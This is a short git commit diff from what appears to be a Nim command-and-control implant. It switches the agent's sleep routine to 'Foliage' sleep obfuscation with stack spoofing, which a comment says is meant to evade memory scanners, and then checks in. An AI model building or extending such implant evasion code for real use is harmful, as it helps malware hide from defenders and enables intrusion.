Implemented the Foliage sleep obfuscation technique.

2025-09-03 23:21:45 +02:00
parent d0545ffd16
commit 5ebe5d3598
4 changed files with 169 additions and 9 deletions
--- a/src/agent/main.nim
+++ b/src/agent/main.nim
@@ -36,8 +36,8 @@ proc main() =
    while true: 

        # Sleep obfuscation with stack spoofing to evade memory scanners
-        sleepObfuscate(ctx.sleep * 1000, EKKO)
-        # sleep(ctx.sleep * 1000)
+        var spoofStack = true
+        sleepObfuscate(ctx.sleep * 1000, FOLIAGE, spoofStack)

        let date: string = now().format("dd-MM-yyyy HH:mm:ss")
        echo "\n", fmt"[*] [{date}] Checking in."